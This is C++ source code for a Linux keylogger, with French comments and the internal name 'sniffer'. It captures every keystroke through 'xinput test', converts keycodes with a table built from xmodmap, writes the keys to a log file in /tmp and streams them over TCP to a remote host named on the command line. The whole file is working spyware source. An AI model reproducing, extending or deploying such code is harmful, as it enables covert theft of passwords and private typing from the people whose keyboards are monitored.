#include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "keymapTable.h" #define PORTNUMBER 12345 using namespace std; int main(int argc, char* argv[]) { //Processus et pipes FILE *from_xinput, *from_xinput_keyid, *from_xmodmap; ofstream logFile("/tmp/snifferLog.txt", ofstream::out | ofstream::trunc); int pfd_from_xinput[2]; int pfd_from_xinput_keyid[2]; int pfd_from_xmodmap[2]; pid_t pid_xinput; pid_t pid_xinput_keyid; pid_t pid_xmodmap; /*==========================================================*/ /* CREATION DE LA TABLE DE CONVERSION DE CARACTERES */ /*==========================================================*/ /*--- Pour recevoir le résultat de l'application xmodmap ---*/ if (pipe(pfd_from_xmodmap) < 0) { perror("pipe creation : pfd_from_xmodmap"); exit(-1); } from_xmodmap = fdopen(pfd_from_xmodmap[0], "r"); //On lance xmodmap dans un nouveau process recuperer la table de conversion if ((pid_xmodmap = fork()) < 0) { perror("fork"); exit(1); } if (pid_xmodmap == 0) { //int junk; //junk = open("/dev/null", O_WRONLY); //dup2(junk, 2); /* Throw away errors */ close(pfd_from_xmodmap[0]); /* close the xmodmap read on this pipe */ dup2(pfd_from_xmodmap[1], 1); /* This process will write on the pipe pfd_from_xmodmap */ execlp("xmodmap", "xmodmap", "-pke", (char*)0); cerr << "error running xmodmap -pke" << endl; perror("exec xmodmap"); exit(-1); } map keymap; map keymap_shift; map keymap_altgr; getConversionTable(from_xmodmap, &keymap, &keymap_shift, &keymap_altgr); //showKeymaps(keymap, keymap_shift, keymap_altgr); adaptKeymapTable(keymap, keymap_shift, keymap_altgr); //showKeymaps(keymap, keymap_shift, keymap_altgr); /*======================================================================*/ /* RECHERCHE DE L'IDENTIFIANT DU CLAVIER A UTILISER AVEC XINPUT */ /*======================================================================*/ /*--- Pour recevoir le résultat de l'application ---*/ if (pipe(pfd_from_xinput_keyid) < 0) { perror("pipe creation : pfd_from_xmodmap"); exit(-1); } from_xinput_keyid = fdopen(pfd_from_xinput_keyid[0], "r"); //On lance xinput dans un nouveau process recuperer l'id if ((pid_xinput_keyid = fork()) < 0) { perror("fork"); exit(1); } if (pid_xinput_keyid == 0) { int junk; junk = open("/dev/null", O_WRONLY); dup2(junk, 2); /* Throw away errors */ close(pfd_from_xinput_keyid[0]); /* close the xmodmap read on this pipe */ dup2(pfd_from_xinput_keyid[1], 1); /* This process will write on the pipe pfd_from_xmodmap */ execlp("xinput", "xinput", "list", "--short", "AT Translated Set 2 keyboard", (char*)0); //, "list", "--short", "AT Translated Set 2 keyboard" cerr << "error running xinput" << endl; perror("exec xinput"); exit(-1); } __gnu_cxx::stdio_filebuf buf_keyid(fileno(from_xinput_keyid), std::ios::in); istream stream_keyid(&buf_keyid); istringstream* lineStream; string line; string junk, keyid; int keypadID; getline(stream_keyid, line); lineStream= new istringstream(line); getline(*lineStream, junk, '='); getline(*lineStream, keyid, '\t'); keypadID = atoi(keyid.c_str()); //cout << keypadID << endl; delete lineStream; /*==========================================================*/ /* LANCEMENT DU PROCESSUS SURVEILLANT LE CLAVIER */ /*==========================================================*/ /*--- Pour recevoir le résultat de l'application xinput ---*/ if (pipe(pfd_from_xinput) < 0) { perror("pipe creation : pfd_from_xinput"); exit(-1); } from_xinput = fdopen(pfd_from_xinput[0], "r"); //On lance xmodmap dans un nouveau process recuperer la table de conversion if ((pid_xinput = fork()) < 0) { perror("fork"); exit(1); } if (pid_xinput == 0) { int junk; junk = open("/dev/null", O_WRONLY); dup2(junk, 2); /* Throw away errors */ close(pfd_from_xinput[0]); /* close the xinput read on this process */ dup2(pfd_from_xinput[1], 1); /* This process will write on the pipe pfd_from_xinput */ execlp("xinput", "xinput", "test", keyid.c_str(), (char*)0); cerr << "error running xmodmap -pke" << endl; perror("exec xmodmap"); exit(-1); } /*======================================================================*/ /* INTERPRETATION DES TOUCHES ENVOI TCP ET SAUVEGARDE DANS UN FICHIER */ /*======================================================================*/ __gnu_cxx::stdio_filebuf buf(fileno(from_xinput), std::ios::in); istream stream(&buf); string state, key; /*=================*/ /* SOCKET CREATION */ /*=================*/ int n, s, len; char bufe[1024]; char stop[]="/stop/"; char hostname[64]; struct hostent *hp; struct sockaddr_in name; fd_set readfds; strcpy(hostname, argv[1]); /* Look up our host's network address.*/ hp = gethostbyname(hostname); /* Create a socket in the INET domain.*/ s = socket(AF_INET, SOCK_STREAM, 0); /* Create the address of the server. */ name.sin_family = AF_INET; name.sin_port = htons(PORTNUMBER); memcpy(&name.sin_addr, hp->h_addr_list[0], hp->h_length); len = sizeof(struct sockaddr_in); /* Connect to the server. */ connect(s, (struct sockaddr *) &name, len); /*=========================*/ /* TRANSMISSION & SAVING */ /*=========================*/ while(1){ /* Wait for a new connection if the last was closed (send failed) */ getline(stream, line); lineStream = new istringstream(line); getline(*lineStream, junk, ' '); getline(*lineStream, state, ' '); getline(*lineStream, key, ' '); //Quand il y a plusieurs espaces consécutifs (keycode < 100) while(key.empty()){ getline(*lineStream, key, ' '); } interpretAndSendKey(s, logFile, state, atoi(key.c_str()), keymap, keymap_shift, keymap_altgr); delete lineStream; } logFile.close(); close(s); exit(0); return 0; }